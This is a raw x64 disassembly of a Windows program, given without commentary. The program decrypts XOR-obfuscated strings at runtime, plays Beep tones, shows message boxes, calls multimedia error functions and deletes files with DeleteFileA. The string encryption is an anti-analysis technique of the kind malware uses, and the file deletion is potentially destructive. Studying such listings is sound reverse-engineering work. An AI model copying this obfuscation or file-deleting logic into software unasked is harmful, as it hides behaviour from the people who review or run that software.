mov dword [rdx + rcx], eax
mov byte [rcx + rbx + 2], r12b
movzx eax, word [rsp + 0x40]
mov word [rcx + rbx], ax
lea rcx, [0x14003d918]
call fcn.140014440
nop
movabs r9, 0x34f63d951f799d7
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
add rsi, rbx
cmp byte [rsi + 2], r14b
je 0x1400075b7
mov r8, r14
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r9
shr rdx, cl
xor byte [rsi + r8], dl
add r8, r12
cmp r8, 2
jb 0x140007597
mov byte [rsi + 2], r14b
mov word [rsp + 0x40], 0x99ed
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x914
mov eax, dword [rdx + rcx]
mov ebx, 0x7b0
test r12b, al
jne 0x1400075fd
or eax, r12d
mov dword [rdx + rcx], eax
mov byte [rcx + rbx + 2], r12b
movzx eax, word [rsp + 0x40]
mov word [rcx + rbx], ax
lea rcx, [0x14003d930]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
add rdi, rbx
cmp byte [rdi + 2], r14b
je 0x14000763f
mov r8, r14
movabs r9, 0x34f63d951f799d7
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r9
shr rdx, cl
xor byte [rdi + r8], dl
add r8, r12
cmp r8, 2
jb 0x14000761f
mov byte [rdi + 2], r14b
mov word [rsp + 0x40], 0x99ed
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x78c
mov eax, dword [rdx + rcx]
mov ebx, 0x5b0
test r12b, al
jne 0x140007685
or eax, r12d
mov dword [rdx + rcx], eax
mov byte [rcx + rbx + 2], r12b
movzx eax, word [rsp + 0x40]
mov word [rcx + rbx], ax
lea rcx, [0x14003d948]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
add rbx, qword [rax]
cmp byte [rbx + 2], r14b
je 0x1400076c9
mov r8, r14
movabs r15, 0x34f63d951f799d7
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r15
shr rdx, cl
xor byte [rbx + r8], dl
add r8, r12
cmp r8, 2
jb 0x1400076a4
mov byte [rbx + 2], r14b
mov r15, qword [rsp + 0x60]
movzx edx, word [rbp + 0x370]
lea rcx, [0x140432280]
call fcn.14000f140
mov rcx, rax
mov rdx, rbx
call fcn.140011368
mov rcx, rax
movzx edx, word [rbp + 0x372]
call fcn.14000f140
mov rcx, rax
mov rdx, rdi
call fcn.140011368
mov rcx, rax
movzx edx, word [rbp + 0x374]
call fcn.14000f140
mov rcx, rax
mov rdx, rsi
call fcn.140011368
mov rcx, rax
movzx edx, word [rbp + 0x376]
call fcn.14000f140
mov rcx, rax
mov rdx, r13
call fcn.140011368
mov rcx, rax
call fcn.1400115b4
mov r12d, 0x12c
mov edx, r12d
lea esi, [r12 + 0x73]
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Beep]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, r12d
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Beep]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, r12d
mov edi, 0x26e
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_Beep]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, r12d
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_Beep]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, r12d
lea ebx, [rdi + 0x4c]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Beep]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, r12d
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Beep]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, r12d
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_Beep]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, r12d
xor edx, edx
xor ecx, ecx
call fcn.140002660
mov edx, r12d
lea ebx, [rdi - 0x44]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Beep]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, r12d
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Beep]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, r12d
lea ebx, [rsi + 0x6c]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Beep]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, r12d
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Beep]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, r12d
lea ebx, [rsi + 0x33]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Beep]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, r12d
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Beep]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, r12d
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Beep]
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
xor ecx, ecx
mov r8d, 0x1388
call fcn.140002660
xor r8d, r8d
mov rdx, r15
mov ecx, dword [rsp + 0x48]
call fcn.140002660
lea rcx, [rbp + 0x368]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
mov dword [rsp + 0x40], 0x35c5c5a9
mov word [rsp + 0x44], 0x29cc
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x694
mov eax, dword [rdx + rcx]
mov ebx, 0x8cc
mov r12d, 1
test r12b, al
jne 0x1400078da
or eax, r12d
mov dword [rdx + rcx], eax
mov byte [rcx + rbx + 6], r12b
mov eax, dword [rsp + 0x40]
mov dword [rcx + rbx], eax
movzx eax, word [rsp + 0x44]
mov word [rcx + rbx + 4], ax
lea rcx, [0x14003d898]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r13, qword [rax]
add r13, rbx
movabs r9, 0x117f29cb5db1f189
cmp byte [r13 + 6], r14b
je 0x14000791c
mov r8, r14
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r9
shr rdx, cl
xor byte [r8 + r13], dl
add r8, r12
cmp r8, 6
jb 0x1400078fc
mov byte [r13 + 6], r14b
mov word [rsp + 0x40], 0xf1b3
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x554
mov eax, dword [rdx + rcx]
mov ebx, 0x2ec
test r12b, al
jne 0x14000796c
or eax, r12d
mov dword [rdx + rcx], eax
mov byte [rcx + rbx + 2], r12b
movzx eax, word [rsp + 0x40]
mov word [rcx + rbx], ax
lea rcx, [0x14003d8b4]
call fcn.140014440
nop
movabs r9, 0x117f29cb5db1f189
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
add rsi, rbx
cmp byte [rsi + 2], r14b
je 0x1400079a4
mov r8, r14
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r9
shr rdx, cl
xor byte [r8 + rsi], dl
add r8, r12
cmp r8, 2
jb 0x140007984
mov byte [rsi + 2], r14b
mov word [rsp + 0x40], 0xf1b3
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x6e4
mov eax, dword [rdx + rcx]
mov ebx, 0x8f8
test r12b, al
jne 0x1400079ea
or eax, r12d
mov dword [rdx + rcx], eax
mov byte [rcx + rbx + 2], r12b
movzx eax, word [rsp + 0x40]
mov word [rcx + rbx], ax
lea rcx, [0x14003d8cc]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
add rdi, rbx
cmp byte [rdi + 2], r14b
je 0x140007a2c
mov r8, r14
movabs r9, 0x117f29cb5db1f189
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r9
shr rdx, cl
xor byte [r8 + rdi], dl
add r8, r12
cmp r8, 2
jb 0x140007a0c
mov byte [rdi + 2], r14b
mov word [rsp + 0x40], 0xf1b3
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x774
mov eax, dword [rdx + rcx]
mov ebx, 0x3d8
test r12b, al
jne 0x140007a72
or eax, r12d
mov dword [rdx + rcx], eax
mov byte [rcx + rbx + 2], r12b
movzx eax, word [rsp + 0x40]
mov word [rcx + rbx], ax
lea rcx, [0x14003d8e4]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
add rbx, qword [rax]
cmp byte [rbx + 2], r14b
je 0x140007ab6
mov r8, r14
movabs r15, 0x117f29cb5db1f189
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r15
shr rdx, cl
xor byte [r8 + rbx], dl
add r8, r12
cmp r8, 2
jb 0x140007a91
mov byte [rbx + 2], r14b
mov r15, qword [rsp + 0x60]
movzx edx, word [rbp + 0x370]
lea rcx, [0x140432280]
call fcn.14000f140
mov rcx, rax
mov rdx, rbx
call fcn.140011368
mov rcx, rax
movzx edx, word [rbp + 0x372]
call fcn.14000f140
mov rcx, rax
mov rdx, rdi
call fcn.140011368
mov rcx, rax
movzx edx, word [rbp + 0x374]
call fcn.14000f140
mov rcx, rax
mov rdx, rsi
call fcn.140011368
mov rcx, rax
movzx edx, word [rbp + 0x376]
call fcn.14000f140
mov rcx, rax
mov rdx, r13
call fcn.140011368
mov rcx, rax
call fcn.1400115b4
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp + 0x88]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x378]
lea rcx, [rbp + 0x88]
call fcn.14000f418
mov rbx, rax
lea rdx, [rbp + 0x3d8]
lea rcx, [rbp + 0xa8]
call fcn.14000f418
nop
mov rdx, rbx
mov rcx, rax
call fcn.140003a60
lea rcx, [rbp + 0x3d8]
cmp qword [rbp + 0x3f0], 0xf
cmova rcx, qword [rbp + 0x3d8]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ebx, 0x7d0
mov r8d, ebx
xor edx, edx
xor ecx, ecx
call fcn.140002660
lea rdx, [rbp + 0x378]
lea rcx, [rbp + 0xc8]
call fcn.14000f418
mov rcx, rax
call fcn.1400027f0
mov r8d, ebx
xor edx, edx
xor ecx, ecx
call fcn.140002660
lea rcx, [rbp + 0x378]
cmp qword [rbp + 0x390], 0xf
cmova rcx, qword [rbp + 0x378]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
xor r8d, r8d
mov rdx, r15
mov ecx, dword [rsp + 0x48]
call fcn.140002660
lea rcx, [rbp + 0x368]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
call fcn.14000c5dc
mov r13, rax
movabs r9, 0x49bd3f75f7212955
cmp byte [rax + 6], r14b
je 0x140007c3d
mov rdx, r14
mov cl, dl
and cl, 7
shl cl, 3
mov rax, r9
shr rax, cl
xor byte [rdx + r13], al
add rdx, r12
cmp rdx, 6
jb 0x140007c1e
mov byte [r13 + 6], r14b
mov word [rsp + 0x40], 0x296f
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x24c
mov eax, dword [rdx + rcx]
mov ebx, 0x1d0
test r12b, al
jne 0x140007c8d
or eax, r12d
mov dword [rdx + rcx], eax
mov byte [rcx + rbx + 2], r12b
movzx eax, word [rsp + 0x40]
mov word [rcx + rbx], ax
lea rcx, [0x14003d850]
call fcn.140014440
nop
movabs r9, 0x49bd3f75f7212955
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
add rsi, rbx
cmp byte [rsi + 2], r14b
je 0x140007cc5
mov r8, r14
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r9
shr rdx, cl
xor byte [r8 + rsi], dl
add r8, r12
cmp r8, 2
jb 0x140007ca5
mov byte [rsi + 2], r14b
mov word [rsp + 0x40], 0x296f
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x304
mov eax, dword [rdx + rcx]
mov ebx, 0x99c
test r12b, al
jne 0x140007d0b
or eax, r12d
mov dword [rdx + rcx], eax
mov byte [rcx + rbx + 2], r12b
movzx eax, word [rsp + 0x40]
mov word [rcx + rbx], ax
lea rcx, [0x14003d868]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
add rdi, rbx
cmp byte [rdi + 2], r14b
je 0x140007d4d
mov r8, r14
movabs r9, 0x49bd3f75f7212955
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r9
shr rdx, cl
xor byte [r8 + rdi], dl
add r8, r12
cmp r8, 2
jb 0x140007d2d
mov byte [rdi + 2], r14b
mov word [rsp + 0x40], 0x296f
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x7f8
mov eax, dword [rdx + rcx]
mov ebx, 0x898
test r12b, al
jne 0x140007d93
or eax, r12d
mov dword [rdx + rcx], eax
mov byte [rcx + rbx + 2], r12b
movzx eax, word [rsp + 0x40]
mov word [rcx + rbx], ax
lea rcx, [0x14003d880]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
add rbx, qword [rax]
cmp byte [rbx + 2], r14b
je 0x140007dd7
mov r8, r14
movabs r15, 0x49bd3f75f7212955
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r15
shr rdx, cl
xor byte [r8 + rbx], dl
add r8, r12
cmp r8, 2
jb 0x140007db2
mov byte [rbx + 2], r14b
mov r15, qword [rsp + 0x60]
movzx edx, word [rbp + 0x370]
lea rcx, [0x140432280]
call fcn.14000f140
mov rcx, rax
mov rdx, rbx
call fcn.140011368
mov rcx, rax
movzx edx, word [rbp + 0x372]
call fcn.14000f140
mov rcx, rax
mov rdx, rdi
call fcn.140011368
mov rcx, rax
movzx edx, word [rbp + 0x374]
call fcn.14000f140
mov rcx, rax
mov rdx, rsi
call fcn.140011368
mov rcx, rax
movzx edx, word [rbp + 0x376]
call fcn.14000f140
mov rcx, rax
mov rdx, r13
call fcn.140011368
mov rcx, rax
call fcn.1400115b4
mov word [rsp + 0x40], 0x8502
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x990
mov eax, dword [rdx + rcx]
mov ebx, 0xab0
test r12b, al
jne 0x140007e91
or eax, r12d
mov dword [rdx + rcx], eax
mov byte [rcx + rbx + 2], r12b
movzx eax, word [rsp + 0x40]
mov word [rcx + rbx], ax
lea rcx, [0x14003d7e4]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, rbx
movabs r13, 0x416d952bffc5852b
cmp byte [r9 + 2], r14b
je 0x140007ed3
mov r8, r14
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r13
shr rdx, cl
xor byte [r8 + r9], dl
add r8, r12
cmp r8, 2
jb 0x140007eb3
mov byte [r9 + 2], r14b
mov rdx, r9
lea rcx, [rbp + 0xb58]
call fcn.14000f3d4
mov rsi, rax
lea rdx, [rbp + 0x1640]
lea rcx, [rbp + 0xb38]
call fcn.14000f3d4
mov r12, rax
mov word [rsp + 0x40], 0xad0b
mov rcx, qword gs:[0x58]
mov rdx, qword [rcx]
mov eax, 0x7c8
mov ecx, dword [rax + rdx]
mov ebx, 0x518
test cl, 1
jne 0x140007f43
or ecx, 1
mov dword [rax + rdx], ecx
mov word [rdx + rbx + 2], 0x1c5
movzx eax, word [rsp + 0x40]
mov word [rdx + rbx], ax
lea rcx, [0x14003d7fc]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r9, qword [rax]
add r9, rbx
cmp byte [r9 + 3], r14b
je 0x140007f7b
mov r8, r14
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, r13
shr rdx, cl
xor byte [r8 + r9], dl
inc r8
cmp r8, 3
jb 0x140007f5b
mov byte [r9 + 3], r14b
mov rdx, r9
lea rcx, [rbp + 0xb18]
call fcn.14000f3d4
mov rbx, rax
lea rdx, [rbp + 0x1a80]
lea rcx, [rbp + 0xaf8]
call fcn.14000f3d4
mov rdi, rax
call fcn.14000c650
mov r8, rax
cmp byte [rax + 0x60], r14b
je 0x140007fd3
mov rdx, r14
mov cl, dl
and cl, 7
shl cl, 3
mov rax, r13
shr rax, cl
xor byte [rdx + r8], al
inc rdx
cmp rdx, 0x60
jb 0x140007fb4
mov byte [r8 + 0x60], r14b
mov rdx, r8
lea rcx, [rbp + 0xad8]
call fcn.14000f3d4
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0xab8]
call fcn.1400115ec
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xa98]
call fcn.1400115ec
nop
mov r8, r12
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.1400115ec
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0xa58]
call fcn.1400115ec
cmp qword [rax + 0x18], 0xf
jbe 0x140008038
mov rax, qword [rax]
xor r8d, r8d
xor edx, edx
mov rcx, rax
call fcn.1400023b0
lea rcx, [rbp + 0xa58]
call fcn.14000f378
nop
lea rcx, [rbp + 0xa78]
call fcn.14000f378
nop
lea rcx, [rbp + 0xa98]
call fcn.14000f378
nop
lea rcx, [rbp + 0xab8]
call fcn.14000f378
nop
lea rcx, [rbp + 0xad8]
call fcn.14000f378
nop
lea rcx, [rbp + 0xaf8]
call fcn.14000f378
nop
lea rcx, [rbp + 0xb18]
call fcn.14000f378
nop
lea rcx, [rbp + 0xb38]
call fcn.14000f378
nop
lea rcx, [rbp + 0xb58]
call fcn.14000f378
xor r8d, r8d
mov rdx, r15
mov ecx, dword [rsp + 0x48]
call fcn.140002660
lea rcx, [rbp + 0x368]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
call fcn.14000c714
mov r13, rax
movabs rdi, 0x75d74d173d757b91
cmp byte [rax + 6], r14b
je 0x14000810f
mov rdx, r14
mov cl, dl
and cl, 7
shl cl, 3
mov rax, rdi
shr rax, cl
xor byte [rdx + r13], al
inc rdx
cmp rdx, 6
jb 0x1400080f0
mov byte [r13 + 6], r14b
mov word [rsp + 0x40], 0x7bab
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x5bc
mov eax, dword [rdx + rcx]
mov ebx, 0x5f0
test al, 1
jne 0x140008154
or eax, 1
mov dword [rdx + rcx], eax
mov byte [rcx + rbx + 2], 1
movzx eax, word [rsp + 0x40]
mov word [rcx + rbx], ax
lea rcx, [0x14003d79c]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
add rsi, rbx
cmp byte [rsi + 2], r14b
je 0x14000818c
mov r8, r14
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, rdi
shr rdx, cl
xor byte [r8 + rsi], dl
inc r8
cmp r8, 2
jb 0x14000816c
mov byte [rsi + 2], r14b
mov word [rsp + 0x40], 0x7bab
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x604
mov eax, dword [rdx + rcx]
mov ebx, 0x1cc
test al, 1
jne 0x1400081d1
or eax, 1
mov dword [rdx + rcx], eax
mov byte [rcx + rbx + 2], 1
movzx eax, word [rsp + 0x40]
mov word [rcx + rbx], ax
lea rcx, [0x14003d7b4]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
lea rdi, [rbx + rcx]
mov word [rsp + 0x40], 0x7bab
mov edx, 0x764
mov eax, dword [rdx + rcx]
mov ebx, 0x9a8
test al, 1
jne 0x14000821a
or eax, 1
mov dword [rdx + rcx], eax
mov byte [rcx + rbx + 2], 1
movzx eax, word [rsp + 0x40]
mov word [rcx + rbx], ax
lea rcx, [0x14003d7cc]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r10, qword [rax]
add r10, rbx
mov rcx, rdi
call fcn.14000de48
mov rdi, rax
mov rcx, r10
call fcn.14000de48
mov rbx, rax
movzx edx, word [rbp + 0x370]
lea rcx, [0x140432280]
call fcn.14000f140
mov rcx, rax
mov rdx, rbx
call fcn.140011368
mov rcx, rax
movzx edx, word [rbp + 0x372]
call fcn.14000f140
mov rcx, rax
mov rdx, rdi
call fcn.140011368
mov rcx, rax
movzx edx, word [rbp + 0x374]
call fcn.14000f140
mov rcx, rax
mov rdx, rsi
call fcn.140011368
mov rcx, rax
movzx edx, word [rbp + 0x376]
call fcn.14000f140
mov rcx, rax
mov rdx, r13
call fcn.140011368
mov rcx, rax
call fcn.1400115b4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x890
mov eax, dword [rdx + rcx]
mov ebx, 0x47c
test al, 1
jne 0x1400082e9
or eax, 1
mov dword [rdx + rcx], eax
mov word [rcx + rbx], 0x1c1
lea rcx, [0x14003d768]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov r8, qword [rax]
add r8, rbx
cmp byte [r8 + 1], r14b
je 0x140008306
xor byte [r8], 0xc1
mov byte [r8 + 1], r14b
xor edx, edx
xor ecx, ecx
lea r9d, [rdx + 1]
call qword [sym.imp.USER32.dll_MessageBoxA]
mov r12d, eax
xor r8d, r8d
mov rdx, r15
mov ecx, dword [rsp + 0x48]
call fcn.140002660
lea rcx, [rbp + 0x368]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
call fcn.14000c788
mov r13, rax
cmp byte [rax + 6], r14b
je 0x14000836b
mov r8, r14
mov cl, r8b
and cl, 7
shl cl, 3
movabs rdx, 0xa9af1f9f19e1b389
shr rdx, cl
xor byte [r8 + rax], dl
inc r8
cmp r8, 6
jb 0x140008344
mov byte [rax + 6], r14b
mov word [rsp + 0x40], 0xb3b3
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x200
mov eax, dword [rdx + rcx]
mov ebx, 0x400
test al, 1
jne 0x1400083b0
or eax, 1
mov dword [rdx + rcx], eax
mov byte [rcx + rbx + 2], 1
movzx eax, word [rsp + 0x40]
mov word [rcx + rbx], ax
lea rcx, [0x14003d720]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
lea rsi, [rbx + rcx]
mov word [rsp + 0x40], 0xb3b3
mov edx, 0x880
mov eax, dword [rdx + rcx]
mov ebx, 0x4cc
test al, 1
jne 0x1400083f9
or eax, 1
mov dword [rdx + rcx], eax
mov byte [rcx + rbx + 2], 1
movzx eax, word [rsp + 0x40]
mov word [rcx + rbx], ax
lea rcx, [0x14003d738]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
lea rdi, [rbx + rcx]
mov word [rsp + 0x40], 0xb3b3
mov edx, 0x6ac
mov eax, dword [rdx + rcx]
mov ebx, 0x1b8
test al, 1
jne 0x140008442
mov eax, dword [rsp + 0x48]
cmp eax, 2
jle 0x14000af30
mov dword [rsp + 0x60], 0x6909eeb6
mov dword [rsp + 0x64], 0xafdfb1a6
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x9a4
mov eax, dword [rdx + rcx]
mov ebx, 0x590
test r13b, al
jne 0x14000aa8b
or eax, r13d
mov dword [rdx + rcx], eax
mov byte [rbx + rcx + 8], r13b
mov rax, qword [rsp + 0x60]
mov qword [rbx + rcx], rax
lea rcx, [0x14003d090]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 8], r14b
je 0x14000aaca
mov r9, r14
mov cl, r9b
and cl, sil
shl cl, 3
movabs r8, 0xafadc5d51b7b8b9b
shr r8, cl
xor byte [rdx + r9], r8b
add r9, r13
cmp r9, 8
jb 0x14000aaa3
mov byte [rdx + 8], r14b
mov rcx, qword [r15 + 8]
call fcn.14001eb00
test eax, eax
jne 0x14000ab7b
mov rdx, qword [r15 + 0x10]
lea rcx, [0x140432280]
call fcn.140011368
mov rcx, rax
call fcn.1400115b4
mov rdx, qword [r15 + 0x10]
lea rcx, [rbp + 0x618]
call fcn.14000f3d4
nop
lea rcx, [rbp + 0x618]
call fcn.140001df4
mov edx, eax
lea rcx, [rbp + 0xdb8]
call fcn.1400021d8
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14000ab2c
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.140012d94
nop
lea rcx, [rbp + 0xdb8]
call fcn.14000f378
nop
lea rcx, [rbp + 0x618]
call fcn.14000f378
xor eax, eax
mov rcx, qword [rbp + 0x1fd0]
xor rcx, rsp
call fcn.140014300
mov rbx, qword [rsp + 0x2130]
add rsp, 0x20e0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov eax, dword [rsp + 0x48]
cmp eax, 2
jle 0x14000af30
movdqa xmm0, xmmword [0x1400497a0]
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x230
mov eax, dword [rdx + rcx]
mov ebx, 0x3c0
test r13b, al
jne 0x14000abe9
or eax, r13d
mov dword [rdx + rcx], eax
lea rax, [rbx + rcx]
mov byte [rax + 0x10], r13b
lea rcx, [rax + 0xf]
lea rdx, [rbp - 0x11]
cmp rax, rdx
ja 0x14000abd8
lea rdx, [rbp - 0x20]
cmp rcx, rdx
jb 0x14000abd8
movdqu xmmword [rax], xmm0
jmp 0x14000abdc
movdqu xmmword [rax], xmm0
lea rcx, [0x14003d078]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 0x10], r14b
je 0x14000ac28
mov r9, r14
mov cl, r9b
and cl, sil
shl cl, 3
movabs r8, 0x8d7759b1056d47f3
shr r8, cl
xor byte [rdx + r9], r8b
add r9, r13
cmp r9, 0x10
jb 0x14000ac01
mov byte [rdx + 0x10], r14b
mov rcx, qword [r15 + 8]
call fcn.14001eb00
test eax, eax
jne 0x14000acd4
mov rdx, qword [r15 + 0x10]
lea rcx, [0x140432280]
call fcn.140011368
mov rcx, rax
call fcn.1400115b4
mov rdx, qword [r15 + 0x10]
lea rcx, [rbp + 0x638]
call fcn.14000f3d4
nop
lea rcx, [rbp + 0x638]
call fcn.140001df4
lea rbx, vtable._com_error.0
mov qword [rbp - 0x50], rbx
mov dword [rbp - 0x48], eax
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x40], xmm0
lea rcx, [rbp - 0x50]
call fcn.140001fa4
mov rdx, rax
lea rcx, [0x140432280]
call fcn.140011368
mov rcx, rax
call fcn.1400115b4
nop
mov qword [rbp - 0x50], rbx
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x14000acb8
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x14000acc8
call qword [sym.imp.KERNEL32.dll_LocalFree]
nop
lea rcx, [rbp + 0x638]
jmp 0x14000ab4a
mov eax, dword [rsp + 0x48]
cmp eax, 2
jle 0x14000af30
mov dword [rsp + 0x50], 0xb1f160ba
mov dword [rsp + 0x54], 0x685d7d2
mov dword [rsp + 0x58], 0xc3ea66fa
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x7c4
mov eax, dword [rdx + rcx]
mov ebx, 0x440
test r13b, al
jne 0x14000ad42
or eax, r13d
mov dword [rdx + rcx], eax
mov byte [rbx + rcx + 0xc], r13b
movsd xmm0, qword [rsp + 0x50]
movsd qword [rbx + rcx], xmm0
mov eax, dword [rsp + 0x58]
mov dword [rbx + rcx + 8], eax
lea rcx, [0x14003d05c]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 0xc], r14b
je 0x14000ad81
mov r9, r14
mov cl, r9b
and cl, sil
shl cl, 3
movabs r8, 0x2bf7a3a1c3830597
shr r8, cl
xor byte [r9 + rdx], r8b
add r9, r13
cmp r9, 0xc
jb 0x14000ad5a
mov byte [rdx + 0xc], r14b
mov rcx, qword [r15 + 8]
call fcn.14001eb00
test eax, eax
jne 0x14000ae02
mov rdx, qword [r15 + 0x10]
lea rcx, [rbp + 0x658]
call fcn.14000f3d4
nop
lea rcx, [rbp + 0x658]
call fcn.140001df4
mov ecx, eax
mov r8d, r12d
lea rdx, [rbp + 0x1db0]
call qword [sym.imp.WINMM.dll_mciGetErrorStringA]
nop
lea rcx, [rbp + 0x658]
call fcn.14000f378
mov rdx, qword [r15 + 0x10]
lea rcx, [0x140432280]
call fcn.140011368
mov rcx, rax
call fcn.1400115b4
lea rdx, [rbp + 0x1db0]
lea rcx, [0x140432280]
call fcn.140011368
mov rcx, rax
call fcn.1400115b4
jmp 0x14000ab4f
mov eax, dword [rsp + 0x48]
cmp eax, 2
jle 0x14000af30
mov word [rsp + 0x40], 0x1a38
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x930
mov eax, dword [rdx + rcx]
mov ebx, 0x48c
test r13b, al
jne 0x14000ae57
or eax, r13d
mov dword [rdx + rcx], eax
mov word [rbx + rcx + 2], 0x139
movzx eax, word [rsp + 0x40]
mov word [rbx + rcx], ax
lea rcx, [0x14003d040]
call fcn.140014440
nop
mov rax, qword gs:[0x58]
mov rdx, qword [rax]
add rdx, rbx
cmp byte [rdx + 3], r14b
je 0x14000ae95
mov r9, r14
mov cl, r9b
and cl, sil
shl cl, 3
movabs r8, 0xc3d5e373ed396915
shr r8, cl
xor byte [r9 + rdx], r8b
add r9, r13
cmp r9, rdi
jb 0x14000ae6f
mov byte [rdx + 3], r14b
mov rcx, qword [r15 + 8]
call fcn.14001eb00
test eax, eax
jne 0x14000af2c
mov rdx, qword [r15 + 0x10]
lea rcx, [rbp + 0x678]
call fcn.14000f3d4
nop
lea rcx, [rbp + 0x678]
call fcn.140001df4
mov r8d, eax
xor edx, edx
xor ecx, ecx
call fcn.140002660
mov ebx, eax
lea rcx, [rbp + 0x678]
call fcn.14000f378
mov edx, ebx
lea rcx, [0x140432280]
call fcn.14000ef84
mov rcx, rax
call fcn.1400115b4
mov edx, ebx
lea rcx, [rbp + 0xdd8]
call fcn.1400021d8
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14000af0f
mov rdx, qword [rax]
